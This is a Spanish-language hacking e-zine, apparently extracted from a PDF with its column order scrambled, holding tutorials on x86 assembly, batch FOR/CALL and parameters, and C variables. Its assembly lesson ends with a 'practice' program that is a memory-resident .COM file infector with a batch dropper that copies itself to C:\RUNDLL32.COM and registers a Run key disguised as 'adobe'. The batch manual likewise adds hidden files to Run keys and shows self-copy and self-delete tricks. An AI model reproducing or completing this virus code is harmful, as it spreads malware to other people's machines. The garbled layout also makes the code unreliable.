tabla sacada de la red En la tabla podemos ver el cdigo en hexadecimal, el mnemnico y su significado. Weno, para tenerlo mas claro veremos un ejemplo: MOV DX,00 ;dx==00 INI: INC DX ;incrementa el valor dx en 1 dx+1 CMP DX,05 ;compara dx con 05 JE FOK ;si dx=05 salta a la etiqueta FOK JMP INI ;sino salta a la etiqueta INI FOK: MOV AH,4C ;ah==4C Lo que akabamos de ver es un simple bucle que establece el valor de dx en 00 luego cuando entra en la etiqueta ini, se incrementa el valor de dx, o sea que, si antes de entrar en la etiqueta dx era 00 despus del INC DX, dx tomaba el valor de 01 y as sucesivamente mientras se mantuviera en el bucle, luego de que el valor de dx se incrementa, este se compara con el valor 05, si la flan equal se activa, entonces salta a la etiqueta FOK, sino vuelva a INI. Esto es algo que ingeniera inversa. veremos muy frecuente en

3.1-Saltos cortos, cercanos y largos. Hay veces que necesitamos indicar que tipo de salto realizaremos dependiendo de tan lejos saltaremos. JMP SHORT ~ Salto corto: Se realiza si vamos a saltar a una direccin comprendida entre lo q puede dos bytes (-128 a +127 antes o despus de IP actual). 00402207 JMP SHORT 402100 JMP NEAR ~ Salto cercano: Se realiza si vamos a saltar a una direccin comprendida entre lo q puede un byte (-32768 a +32767 antes o despus de IP actual). 00402207 JMP NEAR 404010 Un salto largo es ya cuando se tiene como distancia el contenido de 4 bytes. Este tipo de saltos se ven cuando un programa llama a una funcin de un modulo. Por ejemplo para saltar a USER32.GetDlgItemTextA desde el app.00401171: ------------------------------------------app.exe---------

Hacking Newbie
Introduccion Al ASM II
00401171 JMP DWORD PTR DS:[<&USER32.GetDlgItemTextA>] --------------------------------------------------------------Algo que tenemos que tomar en cuenta es que las especificaciones de corto, cercano y lejano, tambin debemos especificarlas en las dems derivaciones de saltos (los condicionales), claro, cuando sea necesario. 4- Instrucciones PUSH y POP. La PILA o STACK Para empezar diagrama en mente: con esto, tengamos este

CUH e-zine 3 Edicion


PUSH AH ;AH a stack PUSH DH ;DH a stack PUSH AL ;AL a stack POP DL ;recordemos q el ultimo valor en entrar a la pila fue el de AL, y AL vale 02 asiq DL=02 Por si acaso: PUSH X ~ Meter: Mete el valor de el registro X en la pila POP Y ~ Sacar: Saca y guarda en el registro Y el ultimo valor introducido en la pila. La pila es como un almacn donde se guardan valores de los registros. Recordemos que la direccin de la pila esta especificada por los registros: SS:SP (Stack Segment:Stack Pointer ~ Segmento de la pila:Puntero actual de la pila). 5- Instruccin LOOP Weno esencialmente, esta instruccin la usaremos a la hora de crear bucles y no qeremos meternos con mov-inc-cmp-jne. Bsicamente lo que hace LOOP es comparar CX con 0 si CX=0 entoncs continua con la siguiente instruccin si no vuelve a su parmetro. LOOP decrementa el valor de CX cada ves que IP se ubica en el. -Su sintaxis es: LOOP P ARAM

PUSH Y = mete el valor de Y en el almacn POP X = saca y guarda, el ultimo valor metido en el almacn, en X

Almacn = | | | |_ A=1 B=2 C=3 D=0 PUSH A | | | | | | | _1_ | PUSH C | | | | | 3| | _1_ | PUSH B | | | 2| | 3| | _1_ | POP D ..... ... | : | | 2| | 3| | _1_ | | | | _|

-- donde P ARAM es la instruccin a la cual volvera IP si CX no es igual a 0 Ejemplo: MOV CX,05h INI: LOOP INI FOK: 6- Instrucciones CALL Y RET: La orden CALL equivale a un CALL en batch. Y RET equivale a GOTO :EOF en batch. Su sintaxis es como la del JMP , se permiten etiquetas, registros, direcciones de memoria. CALL lo que hace es introducir IP+1 en la pila, o sea la instruccin que sigue al CALL, y salta a la direccin que se le indica, RET toma el valor que introduce el CALL en la pila, y salta a el. Ejemplo en Batch: SET NOMBRE=JORGE CALL :EC %NOMBRE% EXIT :EC

D=2 .:

| | | | | 3| | _1_ |

Ahora veamos como se vera este diagrama en asm: MOV AH,01 ;AH=01 MOV AL,02 ;Al=02 MOV DH,03 ;DH=03 MOV DL,00 ;DL=0

Hacking Newbie
Introduccion Al ASM II
ECHO %1 GOTO :EOF Ejemplo en ASM: NOM DB "JORGE$" .CODE INI: MOV AX,@DATA MOV DS,AX MOV DX,OFFSET NOM MOV AH,9 CALL XXI JMP OTER XXI: INT 21H RET 6- Funciones dentro de un programa escrito en TASM. En lenguajes como el BASIC, tenemos la opcin de tener subrutinas las cuales podemos llamar en cualquier momento asi podemos ver en BASIC: Sub sumd(Dim var as Integer) var = var + 1 End Sub En TASM tambin podemos tener funciones. As podemos ver el ejemplo en BASIC en TASM: sumd macro var mov dx, var inc dx ENDM Donde sumd es el nombre del macro, macro especifica que una funcin y var se refiere a el argumento de la llamada. Las funciones se deben especificar antes de el cdigo (segmento .code o .text). 7- Estructura de un ejecutable escrito en TASM (2da forma) En el tuto anterior aprendimos una forma de estructura para crear un programa con TASM mediante la definicin concreta de los segmentos de cdigo, esta vez aprenderemos otra forma en la cual asumiremos los segmentos en el proceso principal. Sintaxis A (Estableciendo todos los segmentos): --------------------------------------------------------------;definicin de constantes y modelo ;macros ------------------------------------stack--------------------stac SEGMENT P ARA STACK 'stack'

CUH e-zine 3 Edicion


;definicin de buffer
stac ENDS ------------------------------------segmento .data--------data SEGMENT P ARA PUBLIC

;definicin de valores
data ENDS ------------------------------------segmento .code--------codi SEGMENT P ARA PUBLIC 'code' prin PROC FAR ASSUME CS:codi, DS:data, SS:stac, ES:eseg

;codigo del programa


prin ENDP codi ENDS prin END ------------------------------------segmento extra--------eseg SEGMENT P ARA PUBLIC ;cdigo Eseg ENDS --------------------------------------FIN--------------------Sintaxis B (Asumiendo segmentos sin definirlos todos): --------------------------------------------------------------;definicin de constantes y modelo ;macros ------------------------------------segmento .code--------codi SEGMENT P ARA PUBLIC 'code' prin PROC FAR ASSUME CS:codi, DS:codi, ES:codi ;codigo del programa prin ENDP codi ENDS prin END -------------------------------------FIN----------------------

Nota: Si no necesitamos establecer la pila, bien podemos omitir su inclusin en el programa. 8- Programa de practica: Weno como programa de practica haremos un code algo rebuskdo pero q en fin nos ayudara a ver algunas estructuras que vimos en este tuto, adems de algunos servicios de la int 21h y una inclusin para los q somos batch coderz, como podemos fusionar un archivo .bat y uno .com! .. xD .286

;especificamos el modelo
prog segment byte public 'CODE' assume cs:prog, es:prog, ds:prog org ini: 100h

;definimos segmentos ;escribimos el codigo batch q se ejecutara en .bat


db db jmp '@ECHO OFF',0dh,0ah ':' hma

Hacking Newbie
Introduccion Al ASM II ;cuando se ejecuta el .com aki saltamos al area virica
db 0dh,0ah db 'COPY %0.BAT ' virr_com: db 'C:\RUNDLL32.COM' db '>NUL',0dh,0ah db'reg add HKLM\software\microsoft\windows\currentversion\ run /v adobe /d "C:\RUNDLL32.COM" /f',0dh,0ah db 'C:\RUNDLL32.COM',0dh,0ah db 1ah copi label byte

CUH e-zine 3 Edicion


(cerrar archivo)
int cont: mov int jnb ah,4fh 21h enc_arch 21h

;servicio 4fh

(buscar siguiente archivo) ;si existen mas archivos, los infectamos, sino terminamos
salr: int 20h ;devolvemos control copif label byte codi prog ends endp end ini

;aki especificamos donde comienza el fragmento a copiar


arch: hma db "*.com",0 near di,0ffffh bx,copif-a_hma+05h ax,4a02h ;ya 2fh di salr di ;flag de si,offset a_hma cx, copif-a_hma movsb

; lo usamos para cuestiones del cantidad de bytes a copiar

;especificamos el tipo de archivos a infectar


proc mov mov mov estamos residentes? int inc jz push cld acarreo a 0 mov mov

;si ya

estamos residentes, nos vamos

El programa es un infectador de archivos .com residente, el programa es bastante sencillo pero nos ayudara a tener algunos conceptos en orden, adems que vemos la tcnica de residencia por hma (high memory acess) y algunos servicios de manejo de archivos, si bien no se pudo explikr bien el programa a sido por cuestiones de espacio e intentando que el lector desarrolle la habilidad de investigar, corregir errores y analizar.

;comienza
;cantidad a

desde el offset de a_hma pasar


rep

;pedimos

residencia en hma
hma a_hma codi endp label byte proc near mov ah,04eh lea atributos int 21h ; DS:DX -> filespec ;(en nuestro caso: archive ~ *.com) enc_arch: mov ax,3d02h dx,9eh Me conformo con q un 70% haya podido ser comprendido =D .. Saludos y hasta la prxima! dx,arch

; servicio 4eh (buscar primer archivo del directorio actual)


; CX =

; servicio 3dh

(Abrir archivo) ; DS:DX -> nombre del archivo (en nuestro caso usamos el 9eh~dta del 4eh) int 21h ; AL = modo de apertura .. 2 leer y escribir
mov copir_arch: mov cx,copif-copi

; servicio 40h
; CX =

(escribir en archivo)
lea dx,copi numero de bytes a escribir mov ah,40h

; DS:DX ->
;servicio 3eh

buffer
int mov 21h ah,3eh The Shadow

Programacion
Manual Batch

CUH e-zine 3 Edicion

Manual de Batch By Espectro Infernal


MANUAL UTILIDAD FOR + CALL + ETIQUETA

Bueno, en este manual voy a explicar uno de los usos ms frecuentes y habituales en el comando FOR. Es una utilidad fcil de aprender (si ya se sabe manejar con las funcionalidades bsicas del FOR) y a la vez, muy til. Saber utilizar correctamente y con ingenio esta utilidad, como en todas las utilidades del FOR, nos ayudar a programar mejor nuestros proyectos. Cuando digo programar mejor, me refiero a hacer un code ms legible, con menos lneas, ms preciso, limpio, profesional. En este manual no voy a ensear a como usar el FOR, doy por entendido que si quieres usar esta utilidad sencilla ya sabes usar el FOR de manera sencilla, como mnimo. De este modo, quiero hacer un manual ms o menos corto, didctico, sencillo, y sobretodo, que se entienda y aprendan algo. Para empezar vamos a ver la estructura que tiene este FOR: FOR [/L, /F , /R] [CRITERIOS] %%VARIABLE IN (CONJUNTO) DO COMANDO [P ARAMETROS] Digamos que la parte en negrita es la que nosotros tendremos que introducir segn lo que queramos hacer, estas partes pueden estar en corchetes (lo cual significa que no son obligatorias pero en la medida de lo posible, deberamos usarlas siempre para ser ms precisos con nuestro cdigo) y la parte subrayada es la que es totalmente obligatoria. Todo esto supongo que ya lo saben. Tmenlo como una pequea introduccin. Ahora voy a explicarles que mtodo vamos a tratar y porque lo usaremos, sus ventajas, etc. Vamos a usar un mtodo en el que podremos usar cualquier variedad del FOR (/F , /R, /L) y nuestra parte fundamental ser el uso del CALL como comando. Que ventajas tiene CALL en frente a GOTO? Bien, principalmente, en el uso de CALL para llamar una etiqueta, podemos usar parmetros por lo que podremos trabajar con lo que el FOR est

vuelva a la lectura de cdigo despus de la llamada a la etiqueta y no acabe con el cdigo. Vamos a entender esto mejor: @ECHO ON ECHO HOLA GOTO :SALUDO P AUSE MSG FIN :SALUDO ECHO ADIOS P AUSE GOTO :EOF Como podemos ver, al llegar a la etiqueta saludo, nos escribe el mensaje adis y hace GOTO :EOF que lo tomaremos como un END. Se acaba el programa. Ahora vamos a utilizar el mismo code pero la llamada a la etiqueta la haremos con CALL: @ECHO ON ECHO HOLA CALL :SALUDO P AUSE MSG FIN :SALUDO ECHO ADIOS P AUSE GOTO :EOF En este caso llega al GOTO :EOF y lo que hace es volver al code desde la lnea donde se llamo a la etiqueta, de este modo que el resto del cdigo (MSG * ) sigue en curso. Esta es la clave principal para entender el uso del FOR con el CALL y ver las utilidades que esto tiene. En el caso de este code, el primer GOTO :EOF que se ejecute, funcionar correctamente, volver a la lnea despus de la llamada a la etiqueta y leer el MSG, pero luego, por lgica, volvera a leer la etiqueta ya que no hay ninguna instruccin que enve el flujo de cdigo a otro lado. La segunda vez que se ejecute GOTO :EOF no nos devolver a la llamada de la etiqueta porque est no fue llamada, simplemente se ley porque el orden del cdigo era ese. Es importante darse cuenta del funcionamiento que tiene CALL pues ahora vamos a empezar con una de la sutilidades que tiene usar el FOR+CALL+ETIQUETA y luego usar el FOR+CALL+ETIQUETA+P ARMETROS, que es la ms til de las que voy a explicar en este manual, lgicamente. Ya que el paso de parmetros a una etiqueta llamndola con CALL es una gran

trabajando en un momento de la ejecucin del flujo de cdigo. Adems, podemos usar el GOTO :EOF en la llamada a una etiqueta, con CALL para que

Programacion
Manual Batch
ventaja. Normalmente usaremos FOR+CALL para poder realizar tareas muy rutinarias en las que pueda variar una parte del cdigo. Vamos a poner un ejemplo sencillo; en este caso, queremos crear 5 archivos y ponerles a cada uno de estos sus correspondientes atributos y agregarlos al registro en RUN. En ese caso podemos encontrar 2 formas bsicas, la ms sencilla: Crear 5 archivos, agregar 5 veces los atributos, agregar cada uno de estos archivos. Un total de cmo mnimo 15 lneas. Bien vamos a ver dos cdigos, el primero es el sencillo y en el segundo usaremos el FOR. Vamos a verlo: @ECHO OFF ECHO 10 > %SYSTEMDRIVE%\ASDF .TXT ECHO 10 > %SYSTEMDRIVE%\QWER.TXT ECHO 10 > %SYSTEMDRIVE%\1234.TXT ECHO 10 > %SYSTEMDRIVE%\KLM.TXT ECHO 10 > %SYSTEMDRIVE%\JHG.TXT ATTRIB +H %SYSTEMDRIVE%\ASDF .TXT ATTRIB +H %SYSTEMDRIVE%\QWER.TXT ATTRIB +H %SYSTEMDRIVE%\1234.TXT ATTRIB +H %SYSTEMDRIVE%\KLM.TXT ATTRIB +H %SYSTEMDRIVE%\JHG.TXT REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVer sion\Run /v ASDF /d %SYSTEMDRIVE\ASDF .TXT /f > nul REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVer sion\Run /v QWER /d %SYSTEMDRIVE\ASDF .TXT /f > nul REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVer sion\Run /v 1234 /d %SYSTEMDRIVE\ASDF .TXT /f > nul REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVer sion\Run /v KLM /d %SYSTEMDRIVE\ASDF .TXT /f > nul REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVer sion\Run /v JHG /d %SYSTEMDRIVE\ASDF .TXT /f > nul EXIT Como podemos ver, el code lo hicimos del modo ms fcil. Podramos ponerlo todo en una lnea concatenando con & o && pero eso es jugar sucio, el code ha de ser bonito, legible y hacindolo de este modo estamos consiguiendo nuestro objetivo pero hicimos un code demasiado largo 17 lneas, (15 + @echo off + exit.) Ahora vamos a hacer este code usando for+call+etiqueta+parmetros y seguro que notars la diferencia. @ECHO OFF ECHO ADSF > %SYSTEMDRIVE%\ARCHIVOS.TXT

CUH e-zine 3 Edicion


ECHO QWER >> %SYSTEMDRIVE%\ARCHIVOS.TXT ECHO 1234 >> %SYSTEMDRIVE%\ARCHIVOS.TXT ECHO KLM >> %SYSTEMDRIVE%\ARCHIVOS.TXT ECHO JHG >> %SYSTEMDRIVE%\ARCHIVOS.TXT FOR /F TOKENS=* DELIMS= %%A IN (%SYSTEMDRIVE\ARCHIVOS.TXT) DO CALL :TAREA %%A EXIT :TAREA SET A=%1 ECHO 10>%SYSTEMDRIVE%\%A%.TXT ATTRIB +H %SYSTEMDRIVE%\%A%.TXT REG ADD HKLM\Software\Microsoft\Windows\CurrentVersio n\Run /v %a% /d %SYSTEMDRIVE%\%A%.txt /f > nul GOTO :EOF Bien este es un claro ejemplo del uso de esta utilidad. El code es ms corto, usamos un comando til, es ms preciso por decirlo de algn modo. Y adems nos ahorramos lneas, imaginen que quieren hacer ms acciones con cada uno de los archivos, pues en el primer code deberan construir el cdigo de la accin a realizar 5 veces (1 por archivo) sin embargo en el uso del FOR solo deberamos hacerlo 1 vez. Si entendiste la explicacin del GOTO :EOF en la llamada a una etiqueta con CALL, el cdigo no te habr sido difcil de entender, incluso podramos ahorrarnos declarar una variable que contenga el parmetro %1. Cabe explicar eu la llamada a la etiqueta con CALL sigue esta estructura en el cuerpo del FOR: CALL :TAREA %%A CALL es el comando que llama a la etiqueta que procede por :nombre y el parmetro se establece con %%A, que contiene la palabra que en ese momento FOR est escaneando. En el primer ciclo del FOR, CALL se mostrar as: FOR /F TOKENS=* DELIMS= %%A IN (%SYSTEMDRIVE%\ARCHIVOS.TXT) DO CALL :TAREA %%A Y el primer ciclo tomar la siguiente forma: CALL :TAREA ASDF Entrara a la etiqueta tarea y establecer la variable a como contenido del primer parmetro (%1), en este caso: ASDF y gracias a esta variable podr ejecutar el cdigo con sentido, el nombre del archivo que cree se llamar asdf, el valor del registro tambin, etc. Cuando llegue a la lnea GOTO :EOF , volver hasta la llamada de CALL, como este CALL est dentro de un for, antes de continuar el cdigo, mirar si ya se acabaron de ejecutar todos los ciclos del bucle, si no es as, continua. En este caso, tomar la segunda palabra: QWER, llamara a la etiqueta TAREA pasndole el parmetro (QWER) y se realizarn las acciones determinadas. Una vez terminado el bucle FOR, continua con el resto del

Programacion
Manual Batch
cdigo, (EXIT) y acaba el programa. Como has podido observar, usando CALL en un FOR podemos hacer muchas acciones para muchos objetos, archivos, etc. Con poco cdigo. Tambin podramos trabajar con diferentes variables. En este caso nosotros hemos trabajado con un FOR /F , ahora imagnate que queremos trabajar con 10 variables, bien, la nomenclatura de estas 10 variables con las que queremos trabajar tienen que tener una relacin. Por ejemplo: palabra1, palabra2, palabra3, palabra4, etc. Tienen una relacin el nombre de estas variables? Si, por supuesto, una vez esto, podemos ponernos a trabajar con 10 variables usando FOR+CALL+ETIQUETA+P ARMETROS: @ECHO OFF SET P ALABRA1=HOLA SET P ALABRA2=, SET P ALABRA3=YO SET P ALABRA4=ME SET P ALABRA5=LLAMO SET P ALABRA6=ESPECTRO SET P ALABRA7=INFERNAL SET P ALABRA8=ENCANTADO SET P ALABRA9=DE SET P ALABRA10=CONOCERTE. ECHO %P ALABRA1%>%SYSTEMDRIVE%\P ALABRA1.TXT ECHO %P ALABRA2%>%SYSTEMDRIVE%\P ALABRA2.TXT ECHO %P ALABRA3%>%SYSTEMDRIVE%\P ALABRA3.TXT ECHO %P ALABRA4%>%SYSTEMDRIVE%\P ALABRA4.TXT ECHO %P ALABRA5%>%SYSTEMDRIVE%\P ALABRA5.TXT ECHO %P ALABRA6%>%SYSTEMDRIVE%\P ALABRA6.TXT ECHO %P ALABRA7%>%SYSTEMDRIVE%\P ALABRA7.TXT ECHO %P ALABRA8%>%SYSTEMDRIVE%\P ALABRA8.TXT ECHO %P ALABRA9%>%SYSTEMDRIVE%\P ALABRA9.TXT ECHO %P ALABRA10%>%SYSTEMDRIVE%\P ALABRA10.TXT ECHO %P ALABRA1%>%SYSTEMDRIVE%\P ALABRAS.TXT ECHO %P ALABRA2%>>%SYSTEMDRIVE%\P ALABRAS.TXT ECHO %P ALABRA3%>>%SYSTEMDRIVE%\P ALABRAS.TXT ECHO %P ALABRA4%>>%SYSTEMDRIVE%\P ALABRAS.TXT ECHO %P ALABRA5%>>%SYSTEMDRIVE%\P ALABRAS.TXT ECHO %P ALABRA6%>>%SYSTEMDRIVE%\P ALABRAS.TXT ECHO %P ALABRA7%>>%SYSTEMDRIVE%\P ALABRAS.TXT ECHO

CUH e-zine 3 Edicion


%P ALABRA8%>>%SYSTEMDRIVE%\P ALABRAS.TXT ECHO %P ALABRA9%>>%SYSTEMDRIVE%\P ALABRAS.TXT ECHO %P ALABRA10%>>%SYSTEMDRIVE%\P ALABRAS.TXT SET P ALABRA1= SET P ALABRA2= SET P ALABRA3= SET P ALABRA4= SET P ALABRA5= SET P ALABRA6= SET P ALABRA7= SET P ALABRA8= SET P ALABRA9= SET P ALABRA10= EXIT Bien, en este code lo que hemos hecho es lo siguiente: Creamos 10 variables, (palabra1,palabra2,palabra3,etc.) A cada una de estas variables le asignamos una palabra, por ejemplo: la variable palabra6 contiene: Espectro. Bien, una vez creadas las variables hemos creado 10 archivos (.TXT) estos archivos tambin siguen una lgica (palabra1.txt, palabra2.txt, palabra3.txt, etc.) En cada uno de estos archivos hemos almacenado el contenido de su variable. Por ejemplo: en el archivo palabra7.txt tenemos el contenido de la variable palabra7, es decir: Infernal. Seguidamente hemos creado un archivo (palabras.txt) que contiene 10 lneas, cada lnea es una palabra. Es decir: el archivo palabras.TXT tiene este contenido: HOLA , YO ME LLAMO ESPECTRO INFERNAL ENCANTADO DE CONOCERTE. Finalmente, establecemos ahora todas las variables con un valor nulo. Lo se, el code no tiene ningn sentido, tmalo como un simple ejemplo. Ahora vamos a repetir este code pero vamos a usar el FOR+CALL+ETIQUETA+P ARMETROS para ver la cantidad de lneas que nos ahorramos: @ECHO OFF SET P ALABRA1=HOLA SET P ALABRA2=, SET P ALABRA3=YO SET P ALABRA4=ME SET P ALABRA5=LLAMO SET P ALABRA6=ESPECTRO SET P ALABRA7=INFERNAL SET P ALABRA8=ENCANTADO

Programacion
Manual Batch
SET P ALABRA9=DE SET P ALABRA10=CONOCERTE. FOR /L %%A IN (1,1,10) DO CALL :PRIMERATAREA %%A FOR /L %%A IN (1,1,10) DO CALL :SEGUNDATAREA %%A FOR /L %%A IN (1,1,19) DO SET P ALABRA%%A= EXIT :PRIMERATAREA SET A=P ALABRA%1 ECHO %A% > %SYSTEMDRIVE%\%A%.TXT GOTO :EOF :SEGUNDATAREA SET A=P ALABRA%1 ECHO %A%>>%SYSTEMDRIVE%\P ALABRAS.TXT GOTO :EOF El primer code tiene 42 lneas y el segundo 23. La diferencia de lneas es considerable. Aun as, el segundo code podra hacerse an ms corto ya que no es necesario declarar la variable %a% como el parmetro %1 y podramos referirnos a %1 directamente. An as, para mayor legibilidad del cdigo recomiendo usar variables para almacenar parmetros. Puedes fijarte tambin que en el ltimo FOR /L : FOR /L %%A IN (1,1,19) DO SET P ALABRA%%A= No llamamos a ninguna etiqueta ya que solo se realiza una accin. En caso de que se realicen ms, es recomendable usar la llamada a etiquetas con CALL. Con este manual se habrn dado cuenta que conocer esta utilidad del FOR les har crear codes con menos letras, mucho ms elegantes y podrn manejar mucho mejor el flujo y direccin del cdigo. Espero que haya quedado bien clara la explicacin. Ya tienen la base, usen su imaginacin para hacer virgueras y exprimir al mximo sus Batch codes.
MANUAL DE P ARMETROS EN BA TCH:

CUH e-zine 3 Edicion


del 0 al 9. El parmetro %0 se distingue de los dems parmetros (%1,%2,%3 %9) por la sencilla razn de que no es un parmetro que podamos declarar, simplemente el parmetro existe por defecto y almacena en u archivo por lotes, la ruta del archivo que se est ejecutando. Para entender todo esto mejor, vamos a poner un ejemplo. Nuestro programa tiene que copiarse a si mismo en la carpeta prueba de la unidad c: Veamos como podemos programar esto: @ECHO OFF COPY %0 c:\prueba\miarchivo.bat EXIT En este cdigo usamos el parmetro %0 que como bien dijimos antes, es el parmetro que guarda al direccin del archivo que se est ejecutando. En este caso, no sabemos donde esta situado el archivo que se ejecuta, podramos ejecutar ese .bat en el escritorio o en la misma unidad c:, de ese modo usamos %0 que guardar la ruta del archivo. La parte subrayada completa el comando COPY indicando la ruta donde va a ser copiado el archivo y el nombre que quiere que reciba el archivo en cuestin. A continuacin pondremos otro ejemplo de uso del parmetro %0 en un programa. En muchas ocasiones, podemos querer que el programa que se est ejecutando se autodestruya, se auto-delete. Bien, si sabemos que el .bat se est ejecutando en el escritorio podramos indicar el archivo a eliminar. Pero si no sabemos donde se ejecuta el .bat no podemos definir una ruta especfica, por eso usaremos el parmetro %0: @ECHO OFF DEL %0 EXIT Ahora si que deberamos tener muy clara la utilizacin del parmetro %0. Vamos a manejarnos ahora con el resto de los parmetros: El comando %0 no complementa la llamada a un archivo .bat o a una etiqueta, mientras que el resto de parmetros si lo hacen. Vamos a ver un claro ejemplo. Usaremos el parmetro %1, para referirnos al primer parmetro que complementa la llamada a un archivo .bat. Para entenderlo vamos a analizar el siguiente cdigo: @ECHO OFF MSG * %1 %2 %3 EXIT Si ejecutas el .bat directamente se abrir la cmd para preguntarte que mensaje quieres enviar, a que es debido esto? Pues bien, con el comando MSG * indicamos que queramos mandar el mensaje %1 %2 %3 pero esos parmetros no tienen ningn valor

Debido a la gran cantidad de problemas que los aprendices en programacin Batch tienen referentemente a los parmetros y lectura de cdigos con estos, me decido a publicar este manual con el fin de dejar claro como funcionan los parmetros en Batch, utilidades y uso de estos. Para empezar, nos centraremos en lo que es un parmetro. Por definicin, un parmetro es una variable que puede ser recibida por una subrutina o complementar la llamada a un procedimiento, o en el caso ms comn en Batch: complementar para modificar el comportamiento en la llamada a un archivo .bat o una etiqueta. Para acceder a los distintos parmetros que acompaen la llamada a un archivo .bat o a una etiqueta con la nomenclatura: %n (sin comillas) donde n puede tener cualquier valor entero positivo

Programacion
Manual Batch
por lo tanto es como si le pedimos que nos haga un MSG * sin mensaje. En este caso, daremos un valor a los parmetros en al llamada al archivo .bat. Guardemos este ultimo archivo en la unidad c:\ y llmenlo prueba.bat. Ahora vayan a INICIO-EJECUTAR y escriban: c:\prueba.bat weeee!!!!! Se abrir el programa y nos escribir un msgbox en pantalla con el mensaje que le indicamos. Este mensaje lo ha tomado como el parmetro %1. Repite lo mismo pero esta vez: c:\prueba.bat hola como estas El resultado es el esperado. El archivo tomo los parmetros %1, %2, %3 como argumentos en la llamada a si mismo. Entonces: Hola=%1 Como=%2 Estas=%3 De este modo tambin podemos usar sentencias IF para saber si el archivo que se est ejecutando se le han pasado parmetros. Por ejemplo: If %1== (ECHO NO SE ARGUMENTOS A LA LLAMADA) LE P ASARON

CUH e-zine 3 Edicion


:DECIRFECHA %%A :DECIRFECHA SET P ARAMETRO_FECHA=%1 MSG * %1 MSG * %P ARAMETRO_FECHA% EXIT Bien, escribimos la fecha en el archivo prueba.txt. Uamos sfor, para coseguir el contenido de dicho archivo y llamamos a la etiqueta con el parmetro %%a (%%a es la variable que usamos en el for para almacenar el contenido del archivo prueba.txt). Nos dirigimos a la etiqueta y declaramos una variable llamada P ARAMETRO_FECHA, que contiene el contenido del parmetro (%1). De este modo demostramos que pdoemo ddeclarar variables que tengan el contenido de un parmetro o referirnos al parmetro directamente con su nomenclatura habitual (%n).Otro ejemplo ms sencillo: @ECHO OFF CALL :ETIQUETA HOLA ADIOS :ETIQUETA SET A=%1 SET B=%2 ECHO SALUDOS: %A% %B% && P AUSE && EXIT Acabar con un ltimo aporte de mi amigo /Migue que hizo en su momento cuando publiqu un manual muy parecido en Internet. Es el uso del comando SHIFT que nos permitir poder acceder a parmetros mayores a %9: La declaracin de argumentos de un programa admite en principio la cantidad de parmetros que sean necesarios. Pero en cambio el lenguaje batch de windows nt tan solo puede reconocer los 9 primeros argumentos del programa, es decir, no ser valido un acceso a la variable %10 con complejidad constante ya que no hay un puntero directo al argumento. Como acceder a variables superiores a %9? Pues bien, es sencillo. Se usa el mandato SHIFT, el cual desplaza una posicin a la izquierda todos los argumentos introducidos. Es decir: %0 <- %1 <- ... %9 <- %10 ... Con lo cual se pierde el antiguo %0 y a menos que se haya salvaguardado en otra variable, no podr ser recuperado. De esta forma ya es visible el argumento 10 y como podis observar, su acceso se realiza en complejidad O(n), siendo n el numero de argumentos actuales. y la complejidad, la misma que la de la operacin SHIFT. Sin duda alguna, el manejo de parmetros en Batch nos ayudar a realizar trabajos mejor elaborados, cdigos ms limpios y ampliar sus funcionalidades. Espero que lo hayan entendido todo y gracias por su tiempo. Bytes, Espectro Infernal.

Tengan imaginacin, con prctica se darn cuenta d ms funcionalidades de estos parmetros. Para continuar, aclararemos el uso de parmetros en las etiquetas. Sabemos que una etiqueta puede ser llamada por GOTO o por CALL. Bien, solo las etiquetas que se llamen con el comando CALL pueden tener acceso a los parmetros. Ambos comandos tienen una funcin muy parecida pero cada uno tiene sus posibilidades. Pueden informarse en cmd: GOTO /? CALL /? Para pasarle comandos a una etiqueta, lo haremos de este modo: CALL :etiqueta P ARAMETRO1 P ARAMETRO3 P ARAMETRO4 P ARAMETRO2

Y podremos referirnos a estos parmetros con la nomenclatura estndar: %n. Pongamos un ejemplo. Queremos que nos muestre el texto que aparece en un archivo .txt. Para hacer que este ejemplo se entienda, haremos que el .txt se llame fecha y se guarde en la unidad c: Este archivo contendr la facha e lo que haremos es llamar a una etiqueta y que esta nos diga el contenido del archivo. Esto se podra hacer de una manera muy sencilla: echo %date%. Pero usaremos este ejemplo para que se pueda ver correctamente el uso de parmetros en la llamada a etiquetas: @ECHO OFF ECHO %date%>c:\prueba.txt FOR /F %%A IN (c:\prueba.txt)

DO

CALL

Hacking Newbie
Programar Con C

CUH e-zine 3 Edicion

PROGRAMACION C II PARTE By Ni0 INTRODUCCION AL ASM II


Hola a todos de nuevo, soy Ni0, y esta es la segunda parte del tutorial del lenguaje de programacin C. -En el artculo anterior, me confund en una cosa y me falto aclarar otra, en la que me confund. Yo hablaba de los caracteres de escape y los enumeraba, hay uno que pones el valor de la letra (haciendo \nnn donde n es un valor entre el 0 y el 255, ejemplo: \32) y que haba otra para expresarlo en hexadecimal, en esa me confund, yo haba puesto que era \hnn pero no es as, se hace as: \xnn, o sea, en vez de la h va una x y despus el valor en hexadecimal, ejemplo: \x3A (va desde 0 a FF). Y me falto aclarar algo, yo dije que los caracteres se pueden expresar entre apstrofes o bien entre comillas, y que las cadenas solo entre comillas, eso esta bien, pero para el programa no es lo mismo a que a , ya que aunque veamos una letra, es diferente la forma en que se interpreta (ya veremos mas adelante sobre eso cuando hablemos de arreglos, vectores), y a causa de que no explique eso, tengo que aclarar que la funcin printf espera una cadena en su primer argumento, entonces si solo queremos poner un carcter, no hay que ponerlo entre apstrofes sino entre comillas (ya dije hace poco que aunque sea un solo carcter en ambos casos, es diferente internamente). -Ahora que ya aclar lo que tena que aclarar seguimos con el artculo. Nuestro programa por ahora no hace mucho, solo muestra una cadena, as que ahora vamos a hacer un programa ms interesante, lo que necesitamos es un lugar donde guardar informacin, como el uso de los archivos lo vamos a dejar para mas adelante, vamos a guardarla en la memoria, para esto vamos a usar variables, cuando declaramos una variable se le asigna a esta un espacio de la memoria, este espacio varia dependiendo del tipo de variable, estas variables se pueden llamar de la forma que quieran, pero no puede empezar con un numero, no se pueden usar espacios ni tampoco caracteres raros, lo que pueden usar es de la a a la z, de la A a la Z, nmeros y el guin bajo (_), cuando se termina de declarar una variable, se coloca punto y coma (;): int i; int mi_variable; int BolaDeNieve2; int tuto, articulo_2, C; Estamos declarando variables del tipo int (ya veremos un poquito mas adelante una tabla con el tipo de variables, sus rangos, etc.), declare las 3 primeras deacuerdo a lo que dije antes, fjense que le pueden llamar como quiera, pero es sensible a maysculas y minsculas, osea, no es lo mismo int I que int i, 